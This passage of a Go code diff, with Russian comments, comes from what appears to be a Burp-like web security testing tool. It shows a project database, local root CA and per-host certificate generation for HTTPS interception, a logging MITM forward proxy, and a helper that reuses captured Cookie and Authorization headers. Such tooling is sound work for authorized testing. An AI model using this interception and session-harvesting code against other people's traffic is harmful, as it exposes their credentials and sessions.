// самый простой способ этого избежать, без необходимости объяснять
|
||||
// пользователю про журналирование.
|
||||
func Open(path string) (*Store, error) {
|
||||
db, err := sql.Open("sqlite", path)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("открытие %s: %w", path, err)
|
||||
}
|
||||
db.SetMaxOpenConns(1)
|
||||
|
||||
if err := db.Ping(); err != nil {
|
||||
db.Close()
|
||||
return nil, fmt.Errorf("подключение к %s: %w", path, err)
|
||||
}
|
||||
if _, err := db.Exec(schema); err != nil {
|
||||
db.Close()
|
||||
return nil, fmt.Errorf("применение схемы: %w", err)
|
||||
}
|
||||
return &Store{db: db, Path: path}, nil
|
||||
}
|
||||
|
||||
// Close закрывает файл проекта.
|
||||
func (s *Store) Close() error {
|
||||
return s.db.Close()
|
||||
}
|
||||
|
||||
// Insert сохраняет новую запись и возвращает её ID.
|
||||
func (s *Store) Insert(r Record) (int64, error) {
|
||||
now := time.Now().Unix()
|
||||
res, err := s.db.Exec(
|
||||
`INSERT INTO requests (source, host, method, url, status, content_length, color_label, raw_request, raw_response, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
r.Source, r.Host, r.Method, r.URL, r.Status, r.ContentLength, string(r.ColorLabel), r.RawRequest, r.RawResponse, now, now,
|
||||
)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("вставка записи: %w", err)
|
||||
}
|
||||
return res.LastInsertId()
|
||||
}
|
||||
|
||||
// SetColorLabel обновляет только цветовую метку записи.
|
||||
func (s *Store) SetColorLabel(id int64, color ColorLabel) error {
|
||||
_, err := s.db.Exec(`UPDATE requests SET color_label = ?, updated_at = ? WHERE id = ?`, string(color), time.Now().Unix(), id)
|
||||
if err != nil {
|
||||
return fmt.Errorf("обновление метки: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Delete удаляет запись из проекта.
|
||||
func (s *Store) Delete(id int64) error {
|
||||
if _, err := s.db.Exec(`DELETE FROM requests WHERE id = ?`, id); err != nil {
|
||||
return fmt.Errorf("удаление записи: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SaveMeta сохраняет произвольную пару ключ/значение в таблицу meta —
|
||||
// используется, в частности, для scope-правил вкладки Target, чтобы они
|
||||
// переживали закрытие и повторное открытие проекта. UPSERT через
|
||||
// ON CONFLICT, а не отдельные INSERT/UPDATE — меньше кода, та же цель.
|
||||
func (s *Store) SaveMeta(key, value string) error {
|
||||
_, err := s.db.Exec(
|
||||
`INSERT INTO meta (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value`,
|
||||
key, value,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("сохранение meta[%s]: %w", key, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// LoadMeta возвращает значение по ключу и false, если ключа ещё нет —
|
||||
// это не ошибка (новый проект просто ещё ничего не сохранял), поэтому
|
||||
// отдельного sql.ErrNoRows наружу не выпускаем.
|
||||
func (s *Store) LoadMeta(key string) (string, bool, error) {
|
||||
var v string
|
||||
err := s.db.QueryRow(`SELECT value FROM meta WHERE key = ?`, key).Scan(&v)
|
||||
if errors.Is(err, sql.ErrNoRows) {
|
||||
return "", false, nil
|
||||
}
|
||||
if err != nil {
|
||||
return "", false, fmt.Errorf("чтение meta[%s]: %w", key, err)
|
||||
}
|
||||
return v, true, nil
|
||||
}
|
||||
|
||||
// Count возвращает общее число записей в проекте.
|
||||
func (s *Store) Count() (int, error) {
|
||||
var n int
|
||||
if err := s.db.QueryRow(`SELECT COUNT(*) FROM requests`).Scan(&n); err != nil {
|
||||
return 0, fmt.Errorf("подсчёт записей: %w", err)
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
|
||||
// Filter описывает критерии поиска. Пустое/нулевое поле — "не
|
||||
// фильтровать по этому критерию". Status использует тот же синтаксис,
|
||||
// что и engine.ParseStatusFilter ("200", "200,404", "200-299") — чтобы
|
||||
// в приложении был один язык фильтров по статусу, а не два разных.
|
||||
type Filter struct {
|
||||
Host string // подстрока хоста
|
||||
Method string // точное совпадение, регистронезависимо
|
||||
Status string
|
||||
MinLength int64
|
||||
MaxLength int64 // 0 — без верхней границы
|
||||
ColorLabel ColorLabel
|
||||
FTSQuery string // полнотекстовый запрос по raw_request/raw_response
|
||||
Limit, Offset int
|
||||
}
|
||||
|
||||
// Search ищет записи по Filter. Host/Method/ColorLabel/длина и FTS-часть
|
||||
// выполняются в самом SQL (используют индексы и FTS5), а Status —
|
||||
// постфактум в Go через engine.ParseStatusFilter, чтобы переиспользовать
|
||||
// уже проверенный парсер диапазонов/списков статусов вместо того, чтобы
|
||||
// заново транслировать тот же синтаксис в SQL.
|
||||
func (s *Store) Search(f Filter) ([]Record, error) {
|
||||
cols := `r.id, r.source, r.host, r.method, r.url, r.status, r.content_length, r.color_label, r.raw_request, r.raw_response, r.created_at, r.updated_at`
|
||||
|
||||
var query string
|
||||
var args []any
|
||||
var where []string
|
||||
|
||||
if f.FTSQuery != "" {
|
||||
query = `SELECT ` + cols + ` FROM requests_fts f JOIN requests r ON r.id = f.rowid`
|
||||
where = append(where, `requests_fts MATCH ?`)
|
||||
args = append(args, f.FTSQuery)
|
||||
} else {
|
||||
query = `SELECT ` + cols + ` FROM requests r`
|
||||
}
|
||||
|
||||
if f.Host != "" {
|
||||
where = append(where, `r.host LIKE ?`)
|
||||
args = append(args, "%"+f.Host+"%")
|
||||
}
|
||||
if f.Method != "" {
|
||||
where = append(where, `r.method = ? COLLATE NOCASE`)
|
||||
args = append(args, f.Method)
|
||||
}
|
||||
if f.ColorLabel != "" {
|
||||
where = append(where, `r.color_label = ?`)
|
||||
args = append(args, string(f.ColorLabel))
|
||||
}
|
||||
if f.MinLength > 0 {
|
||||
where = append(where, `r.content_length >= ?`)
|
||||
args = append(args, f.MinLength)
|
||||
}
|
||||
if f.MaxLength > 0 {
|
||||
where = append(where, `r.content_length <= ?`)
|
||||
args = append(args, f.MaxLength)
|
||||
}
|
||||
|
||||
if len(where) > 0 {
|
||||
query += " WHERE " + strings.Join(where, " AND ")
|
||||
}
|
||||
query += " ORDER BY r.id DESC"
|
||||
|
||||
limit := f.Limit
|
||||
if limit <= 0 {
|
||||
limit = 200
|
||||
}
|
||||
query += fmt.Sprintf(" LIMIT %d OFFSET %d", limit, f.Offset)
|
||||
|
||||
rows, err := s.db.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("поиск: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []Record
|
||||
for rows.Next() {
|
||||
var r Record
|
||||
var color string
|
||||
var createdAt, updatedAt int64
|
||||
if err := rows.Scan(&r.ID, &r.Source, &r.Host, &r.Method, &r.URL, &r.Status, &r.ContentLength, &color, &r.RawRequest, &r.RawResponse, &createdAt, &updatedAt); err != nil {
|
||||
return nil, fmt.Errorf("чтение строки: %w", err)
|
||||
}
|
||||
r.ColorLabel = ColorLabel(color)
|
||||
r.CreatedAt = time.Unix(createdAt, 0)
|
||||
r.UpdatedAt = time.Unix(updatedAt, 0)
|
||||
out = append(out, r)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, fmt.Errorf("итерация результатов: %w", err)
|
||||
}
|
||||
|
||||
if f.Status != "" {
|
||||
pred, err := engine.ParseStatusFilter(f.Status)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("фильтр по статусу: %w", err)
|
||||
}
|
||||
if pred != nil {
|
||||
filtered := out[:0]
|
||||
for _, r := range out {
|
||||
if pred(r.Status) {
|
||||
filtered = append(filtered, r)
|
||||
}
|
||||
}
|
||||
out = filtered
|
||||
}
|
||||
}
|
||||
|
||||
return out, nil
|
||||
}
|
||||
178
internal/proxy/ca.go
Normal file
178
internal/proxy/ca.go
Normal file
|
|
@ -0,0 +1,178 @@
|
|||
package proxy
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/pem"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// CA — локальный корневой сертификат для перехвата HTTPS-трафика (MITM),
|
||||
// по аналогии с Burp CA / mitmproxy CA. Генерируется один раз и
|
||||
// сохраняется на диск; чтобы браузер перестал ругаться на HTTPS-сайты,
|
||||
// ca.pem нужно один раз импортировать в доверенные корневые сертификаты
|
||||
// браузера/ОС.
|
||||
type CA struct {
|
||||
cert *x509.Certificate
|
||||
key *rsa.PrivateKey
|
||||
|
||||
leafCache sync.Map // host string -> *tls.Certificate
|
||||
}
|
||||
|
||||
// CADir возвращает директорию для хранения CA (~/.burterm).
|
||||
func CADir() (string, error) {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("не удалось определить домашнюю директорию: %w", err)
|
||||
}
|
||||
return filepath.Join(home, ".burterm"), nil
|
||||
}
|
||||
|
||||
// LoadOrCreateCA загружает CA из dir/ca.pem + dir/ca-key.pem, либо создаёт
|
||||
// новый и сохраняет туда же, если файлов ещё нет.
|
||||
func LoadOrCreateCA(dir string) (*CA, error) {
|
||||
certPath := filepath.Join(dir, "ca.pem")
|
||||
keyPath := filepath.Join(dir, "ca-key.pem")
|
||||
|
||||
certBytes, err := os.ReadFile(certPath)
|
||||
if err == nil {
|
||||
keyBytes, err := os.ReadFile(keyPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("найден ca.pem, но не найден ca-key.pem рядом: %w", err)
|
||||
}
|
||||
return parseCA(certBytes, keyBytes)
|
||||
}
|
||||
|
||||
return createCA(dir, certPath, keyPath)
|
||||
}
|
||||
|
||||
func createCA(dir, certPath, keyPath string) (*CA, error) {
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
return nil, fmt.Errorf("не удалось создать %s: %w", dir, err)
|
||||
}
|
||||
|
||||
key, err := rsa.GenerateKey(rand.Reader, 2048)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("генерация ключа CA: %w", err)
|
||||
}
|
||||
|
||||
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("генерация серийного номера CA: %w", err)
|
||||
}
|
||||
|
||||
tmpl := &x509.Certificate{
|
||||
SerialNumber: serial,
|
||||
Subject: pkix.Name{
|
||||
CommonName: "burterm MITM CA",
|
||||
Organization: []string{"burterm"},
|
||||
},
|
||||
NotBefore: time.Now().Add(-24 * time.Hour),
|
||||
NotAfter: time.Now().AddDate(10, 0, 0),
|
||||
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature | x509.KeyUsageCRLSign,
|
||||
BasicConstraintsValid: true,
|
||||
IsCA: true,
|
||||
}
|
||||
|
||||
certDER, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("создание сертификата CA: %w", err)
|
||||
}
|
||||
|
||||
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
|
||||
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(key)})
|
||||
|
||||
if err := os.WriteFile(certPath, certPEM, 0o644); err != nil {
|
||||
return nil, fmt.Errorf("сохранение ca.pem: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(keyPath, keyPEM, 0o600); err != nil {
|
||||
return nil, fmt.Errorf("сохранение ca-key.pem: %w", err)
|
||||
}
|
||||
|
||||
cert, err := x509.ParseCertificate(certDER)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("разбор свежесозданного сертификата CA: %w", err)
|
||||
}
|
||||
|
||||
return &CA{cert: cert, key: key}, nil
|
||||
}
|
||||
|
||||
func parseCA(certPEMBytes, keyPEMBytes []byte) (*CA, error) {
|
||||
certBlock, _ := pem.Decode(certPEMBytes)
|
||||
if certBlock == nil {
|
||||
return nil, fmt.Errorf("ca.pem повреждён или пуст")
|
||||
}
|
||||
cert, err := x509.ParseCertificate(certBlock.Bytes)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("разбор ca.pem: %w", err)
|
||||
}
|
||||
|
||||
keyBlock, _ := pem.Decode(keyPEMBytes)
|
||||
if keyBlock == nil {
|
||||
return nil, fmt.Errorf("ca-key.pem повреждён или пуст")
|
||||
}
|
||||
key, err := x509.ParsePKCS1PrivateKey(keyBlock.Bytes)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("разбор ca-key.pem: %w", err)
|
||||
}
|
||||
|
||||
return &CA{cert: cert, key: key}, nil
|
||||
}
|
||||
|
||||
// LeafFor возвращает (создавая и кэшируя при первом обращении) листовой
|
||||
// TLS-сертификат для host, подписанный этим CA. Используется в
|
||||
// tls.Config.GetCertificate при перехвате CONNECT-туннеля — по сертификату
|
||||
// на каждый домен, с которым говорит браузер через прокси.
|
||||
func (ca *CA) LeafFor(host string) (*tls.Certificate, error) {
|
||||
if cached, ok := ca.leafCache.Load(host); ok {
|
||||
return cached.(*tls.Certificate), nil
|
||||
}
|
||||
|
||||
key, err := rsa.GenerateKey(rand.Reader, 2048)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("генерация ключа для %s: %w", host, err)
|
||||
}
|
||||
|
||||
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("генерация серийного номера для %s: %w", host, err)
|
||||
}
|
||||
|
||||
tmpl := &x509.Certificate{
|
||||
SerialNumber: serial,
|
||||
Subject: pkix.Name{CommonName: host},
|
||||
DNSNames: []string{host},
|
||||
NotBefore: time.Now().Add(-24 * time.Hour),
|
||||
NotAfter: time.Now().AddDate(1, 0, 0),
|
||||
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||
}
|
||||
|
||||
der, err := x509.CreateCertificate(rand.Reader, tmpl, ca.cert, &key.PublicKey, ca.key)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("подпись сертификата для %s: %w", host, err)
|
||||
}
|
||||
|
||||
leaf := &tls.Certificate{
|
||||
Certificate: [][]byte{der, ca.cert.Raw},
|
||||
PrivateKey: key,
|
||||
}
|
||||
|
||||
actual, _ := ca.leafCache.LoadOrStore(host, leaf)
|
||||
return actual.(*tls.Certificate), nil
|
||||
}
|
||||
|
||||
// CertPath — путь к ca.pem, который нужно один раз импортировать
|
||||
// в доверенные корневые сертификаты браузера/ОС, иначе HTTPS-сайты
|
||||
// будут показывать предупреждение о недоверенном сертификате.
|
||||
func (ca *CA) CertPath(dir string) string {
|
||||
return filepath.Join(dir, "ca.pem")
|
||||
}
|
||||
301
internal/proxy/proxy.go
Normal file
301
internal/proxy/proxy.go
Normal file
|
|
@ -0,0 +1,301 @@
|
|||
// Package proxy реализует форвардный HTTP(S)-прокси с перехватом
|
||||
// трафика (MITM), аналог Burp Proxy / mitmproxy. Браузер настраивается
|
||||
// ходить через Server.Addr; для HTTP запросы читаются напрямую, для
|
||||
// HTTPS используется CONNECT-туннель с подменой TLS-сертификата на
|
||||
// лету (см. CA.LeafFor) — отсюда необходимость один раз импортировать
|
||||
// ca.pem в доверенные корни браузера/ОС.
|
||||
//
|
||||
// Известные упрощения первой версии (не блокирующие базовый сценарий
|
||||
// перехвата и правки запроса, но стоящие в очереди на доработку):
|
||||
// - hop-by-hop заголовки (Connection, Proxy-Connection и т.п.) не
|
||||
// вырезаются перед проксированием;
|
||||
// - WebSocket-апгрейды не поддерживаются;
|
||||
// - HTTP/2 на туннеле не форсируется (сервер объявляет только h1
|
||||
// в ALPN, так что браузер сам откатится на HTTP/1.1 для
|
||||
// туннелированных доменов).
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/sitemap"
|
||||
)
|
||||
|
||||
// maxResponseCapture — сколько байт тела ответа сохраняется в
|
||||
// Entry.ResponseBody для полнотекстового поиска в Project. Больше, чем
|
||||
// в Intruder (4КБ) — трафик через Proxy обычно не такой массовый, можно
|
||||
// позволить себе больше на хранение.
|
||||
const maxResponseCapture = 8 * 1024
|
||||
|
||||
// Server — форвардный прокси. Каждый прошедший через него запрос
|
||||
// попадает в Store, откуда его можно подхватить в Request Builder.
|
||||
type Server struct {
|
||||
Addr string
|
||||
CA *CA
|
||||
Store *Store
|
||||
|
||||
// scope, если задан, ограничивает то, что реально попадает в Store —
|
||||
// сам прокси всё равно обслуживает ЛЮБОЙ трафик (клиент получает
|
||||
// ответ независимо от scope), просто то, что вне scope, не засоряет
|
||||
// историю. nil (значение по умолчанию) — логировать всё, как раньше.
|
||||
// Под мьютексом: SetScope дёргается из горутины TUI, а capture/
|
||||
// captureErr читают его из совсем других горутин — по одной на
|
||||
// соединение.
|
||||
scopeMu sync.RWMutex
|
||||
scope *sitemap.Scope
|
||||
|
||||
client *http.Client
|
||||
}
|
||||
|
||||
// SetScope задаёт (или снимает, если nil) scope, ограничивающий то, что
|
||||
// попадает в Store. Потокобезопасно относительно capture/captureErr.
|
||||
// Передаётся независимая копия сверху (см. TUI-слой) — Server не должен
|
||||
// делить один и тот же *sitemap.Scope с чем-то ещё мутируемым конкурентно,
|
||||
// иначе Matches() читал бы срез правил без синхронизации с их же записью.
|
||||
func (s *Server) SetScope(scope *sitemap.Scope) {
|
||||
s.scopeMu.Lock()
|
||||
s.scope = scope
|
||||
s.scopeMu.Unlock()
|
||||
}
|
||||
|
||||
// inScope — под nil-scope пропускает всё (обратная совместимость с
|
||||
// поведением до появления этой фичи).
|
||||
func (s *Server) inScope(url string) bool {
|
||||
s.scopeMu.RLock()
|
||||
scope := s.scope
|
||||
s.scopeMu.RUnlock()
|
||||
if scope == nil {
|
||||
return true
|
||||
}
|
||||
return scope.Matches(url)
|
||||
}
|
||||
|
||||
// New создаёт Server, готовый к ListenAndServe.
|
||||
func New(addr string, ca *CA, store *Store) *Server {
|
||||
return &Server{
|
||||
Addr: addr,
|
||||
CA: ca,
|
||||
Store: store,
|
||||
client: &http.Client{
|
||||
// Собственный Transport — чтобы не поймать петлю через
|
||||
// переменные окружения HTTP_PROXY/HTTPS_PROXY.
|
||||
Transport: &http.Transport{Proxy: nil},
|
||||
// Редиректы не разворачиваем автоматически — пользователь
|
||||
// должен увидеть 30x как отдельную перехваченную транзакцию,
|
||||
// а не только её конечную точку.
|
||||
CheckRedirect: func(*http.Request, []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// ListenAndServe запускает прокси и блокируется, пока ctx не отменён
|
||||
// или не произойдёт фатальная ошибка сервера.
|
||||
func (s *Server) ListenAndServe(ctx context.Context) error {
|
||||
srv := &http.Server{
|
||||
Addr: s.Addr,
|
||||
Handler: http.HandlerFunc(s.serve),
|
||||
}
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() { errCh <- srv.ListenAndServe() }()
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
shutdownCtx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
|
||||
defer cancel()
|
||||
return srv.Shutdown(shutdownCtx)
|
||||
case err := <-errCh:
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Server) serve(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method == http.MethodConnect {
|
||||
s.serveConnect(w, r)
|
||||
return
|
||||
}
|
||||
s.servePlain(w, r)
|
||||
}
|
||||
|
||||
// servePlain обрабатывает обычный нешифрованный прокси-запрос — браузер
|
||||
// шлёт его с абсолютным URI в request line (GET http://host/path HTTP/1.1).
|
||||
func (s *Server) servePlain(w http.ResponseWriter, r *http.Request) {
|
||||
// DumpRequest вычитывает r.Body и сам восстанавливает его новым
|
||||
// io.ReadCloser с теми же байтами — r остаётся пригоден для
|
||||
// дальнейшей пересылки.
|
||||
dump, _ := httputil.DumpRequest(r, true)
|
||||
|
||||
outURL := *r.URL
|
||||
if outURL.Scheme == "" {
|
||||
outURL.Scheme = "http"
|
||||
}
|
||||
if outURL.Host == "" {
|
||||
outURL.Host = r.Host
|
||||
}
|
||||
|
||||
outReq, err := http.NewRequest(r.Method, outURL.String(), r.Body)
|
||||
if err != nil {
|
||||
s.captureErr(r, err)
|
||||
http.Error(w, err.Error(), http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
outReq.Header = r.Header.Clone()
|
||||
|
||||
resp, err := s.client.Do(outReq)
|
||||
if err != nil {
|
||||
s.captureErr(r, err)
|
||||
http.Error(w, err.Error(), http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// Читаем тело целиком — не обрезаем то, что реально уходит клиенту.
|
||||
// Ошибку чтения намеренно не считаем фатальной: то, что успели
|
||||
// прочитать, всё равно форвардим и сохраняем как есть.
|
||||
fullBody, _ := io.ReadAll(resp.Body)
|
||||
|
||||
s.capture(r, dump, resp, fullBody)
|
||||
|
||||
for k, vv := range resp.Header {
|
||||
for _, v := range vv {
|
||||
w.Header().Add(k, v)
|
||||
}
|
||||
}
|
||||
w.WriteHeader(resp.StatusCode)
|
||||
w.Write(fullBody)
|
||||
}
|
||||
|
||||
// serveConnect обрабатывает CONNECT (HTTPS-туннель): хайджекает
|
||||
// соединение, отвечает "200 Connection Established", затем сам
|
||||
// выступает TLS-сервером с сертификатом, подписанным локальным CA
|
||||
// (GetCertificate генерирует лист по SNI на лету), и внутри
|
||||
// расшифрованного канала читает и пересылает HTTP-запросы как обычный
|
||||
// клиент — это и есть MITM-перехват.
|
||||
func (s *Server) serveConnect(w http.ResponseWriter, r *http.Request) {
|
||||
hijacker, ok := w.(http.Hijacker)
|
||||
if !ok {
|
||||
http.Error(w, "хайджек соединения не поддерживается", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
clientConn, _, err := hijacker.Hijack()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer clientConn.Close()
|
||||
|
||||
host, _, err := net.SplitHostPort(r.Host)
|
||||
if err != nil {
|
||||
host = r.Host // Host уже без порта, если SplitHostPort не смог разобрать
|
||||
}
|
||||
|
||||
if _, err := clientConn.Write([]byte("HTTP/1.1 200 Connection Established\r\n\r\n")); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
tlsConn := tls.Server(clientConn, &tls.Config{
|
||||
GetCertificate: func(hello *tls.ClientHelloInfo) (*tls.Certificate, error) {
|
||||
name := hello.ServerName
|
||||
if name == "" {
|
||||
name = host
|
||||
}
|
||||
return s.CA.LeafFor(name)
|
||||
},
|
||||
})
|
||||
defer tlsConn.Close()
|
||||
|
||||
if err := tlsConn.Handshake(); err != nil {
|
||||
// Обычно значит, что браузер ещё не доверяет нашему CA —
|
||||
// это ожидаемо до первого импорта ca.pem, молча выходим.
|
||||
return
|
||||
}
|
||||
|
||||
br := bufio.NewReader(tlsConn)
|
||||
for {
|
||||
req, err := http.ReadRequest(br)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// http.ReadRequest для relative-form request line оставляет
|
||||
// req.URL.Scheme/Host пустыми — достраиваем их из адреса
|
||||
// CONNECT-туннеля, иначе пересылать запрос некуда.
|
||||
req.URL.Scheme = "https"
|
||||
req.URL.Host = r.Host
|
||||
req.RequestURI = ""
|
||||
|
||||
dump, _ := httputil.DumpRequest(req, true)
|
||||
|
||||
resp, err := s.client.Do(req)
|
||||
if err != nil {
|
||||
s.captureErr(req, err)
|
||||
return
|
||||
}
|
||||
|
||||
// resp.Write() ниже сам сериализует тело из resp.Body — а нам
|
||||
// то же тело нужно ещё и для capture(). Тело можно прочитать
|
||||
// только один раз, поэтому читаем целиком сами и подменяем
|
||||
// resp.Body свежим io.NopCloser с теми же байтами, прежде чем
|
||||
// отдать resp дальше — тот же приём, что httputil.DumpRequest
|
||||
// делает для тела запроса.
|
||||
fullBody, _ := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
resp.Body = io.NopCloser(bytes.NewReader(fullBody))
|
||||
|
||||
s.capture(req, dump, resp, fullBody)
|
||||
|
||||
writeErr := resp.Write(tlsConn)
|
||||
if writeErr != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Server) capture(r *http.Request, raw []byte, resp *http.Response, fullBody []byte) {
|
||||
url := r.URL.String()
|
||||
if !s.inScope(url) {
|
||||
return
|
||||
}
|
||||
|
||||
captured := fullBody
|
||||
if len(captured) > maxResponseCapture {
|
||||
captured = captured[:maxResponseCapture]
|
||||
}
|
||||
s.Store.Add(Entry{
|
||||
Timestamp: time.Now(),
|
||||
Method: r.Method,
|
||||
URL: url,
|
||||
Raw: string(raw),
|
||||
StatusCode: resp.StatusCode,
|
||||
Length: int64(len(fullBody)), // фактически прочитанные байты, не ненадёжный resp.ContentLength (часто -1 при chunked)
|
||||
Headers: resp.Header,
|
||||
ResponseBody: string(captured),
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) captureErr(r *http.Request, err error) {
|
||||
url := ""
|
||||
if r.URL != nil {
|
||||
url = r.URL.String()
|
||||
}
|
||||
if url != "" && !s.inScope(url) {
|
||||
return
|
||||
}
|
||||
s.Store.Add(Entry{
|
||||
Timestamp: time.Now(),
|
||||
Method: r.Method,
|
||||
URL: url,
|
||||
Err: fmt.Errorf("проксирование не удалось: %w", err),
|
||||
})
|
||||
}
|
||||
61
internal/proxy/session.go
Normal file
61
internal/proxy/session.go
Normal file
|
|
@ -0,0 +1,61 @@
|
|||
package proxy
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ExtractSessionHeaders сканирует историю в поисках самой свежей записи
|
||||
// под заданный host и вытаскивает из неё Cookie/Authorization — типичные
|
||||
// заголовки сессии. Используется Spider, чтобы обходить авторизованные
|
||||
// зоны сайта без ручного копирования куки: если ты уже походил по сайту
|
||||
// руками через браузер с настроенным прокси, краулер сам подхватит ту же
|
||||
// сессию.
|
||||
//
|
||||
// Идёт от конца истории к началу (самые новые записи первыми) — сессия
|
||||
// могла обновиться (перелогин, ротация токена), и должна использоваться
|
||||
// самая свежая версия, а не первая попавшаяся.
|
||||
func ExtractSessionHeaders(entries []Entry, host string) http.Header {
|
||||
h := http.Header{}
|
||||
for i := len(entries) - 1; i >= 0; i-- {
|
||||
e := entries[i]
|
||||
u, err := url.Parse(e.URL)
|
||||
if err != nil || u.Host != host {
|
||||
continue
|
||||
}
|
||||
|
||||
cookie, auth := parseSessionHeadersFromRaw(e.Raw)
|
||||
if cookie != "" && h.Get("Cookie") == "" {
|
||||
h.Set("Cookie", cookie)
|
||||
}
|
||||
if auth != "" && h.Get("Authorization") == "" {
|
||||
h.Set("Authorization", auth)
|
||||
}
|
||||
if h.Get("Cookie") != "" && h.Get("Authorization") != "" {
|
||||
break // нашли оба — дальше по истории идти незачем
|
||||
}
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
// parseSessionHeadersFromRaw вытаскивает значения заголовков Cookie и
|
||||
// Authorization из сырого текста HTTP-запроса (Entry.Raw). Останавливается
|
||||
// на первой пустой строке — конец заголовков, начало тела, там эти
|
||||
// заголовки заведомо не встретятся, а тело может быть сколь угодно большим.
|
||||
func parseSessionHeadersFromRaw(raw string) (cookie, auth string) {
|
||||
for _, line := range strings.Split(raw, "\n") {
|
||||
line = strings.TrimRight(line, "\r")
|
||||
if line == "" {
|
||||
break
|
||||
}
|
||||
lower := strings.ToLower(line)
|
||||
switch {
|
||||
case strings.HasPrefix(lower, "cookie:"):
|
||||
cookie = strings.TrimSpace(line[len("cookie:"):])
|
||||
case strings.HasPrefix(lower, "authorization:"):
|
||||
auth = strings.TrimSpace(line[len("authorization:"):])
|
||||
}
|
||||
}
|
||||
return cookie, auth
|
||||
}
|
||||
77
internal/proxy/store.go
Normal file
77
internal/proxy/store.go
Normal file
|
|
@ -0,0 +1,77 @@
|
|||
package proxy
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Entry — одна перехваченная транзакция запрос/ответ, готовая к показу
|
||||
// в TUI и (по Raw) к загрузке прямо в Request Builder.
|
||||
type Entry struct {
|
||||
ID int
|
||||
Timestamp time.Time
|
||||
Method string
|
||||
URL string
|
||||
Raw string // сырой HTTP-запрос целиком — то, что вставляется в §маркеры§ форму
|
||||
StatusCode int
|
||||
Length int64
|
||||
Headers http.Header // заголовки ответа — для цветовой маркировки по Content-Type в TUI
|
||||
ResponseBody string // тело ответа, обрезанное до maxResponseCapture байт — для полнотекстового поиска в Project
|
||||
Err error // не nil, если запрос не удалось выполнить (таймаут, обрыв соединения и т.п.)
|
||||
}
|
||||
|
||||
// Store хранит историю перехваченных запросов и рассылает новые записи
|
||||
// подписчикам (обычно единственный подписчик — TUI) через каналы.
|
||||
type Store struct {
|
||||
mu sync.Mutex
|
||||
entries []Entry
|
||||
nextID int
|
||||
subs []chan Entry
|
||||
}
|
||||
|
||||
// NewStore создаёт пустое хранилище.
|
||||
func NewStore() *Store {
|
||||
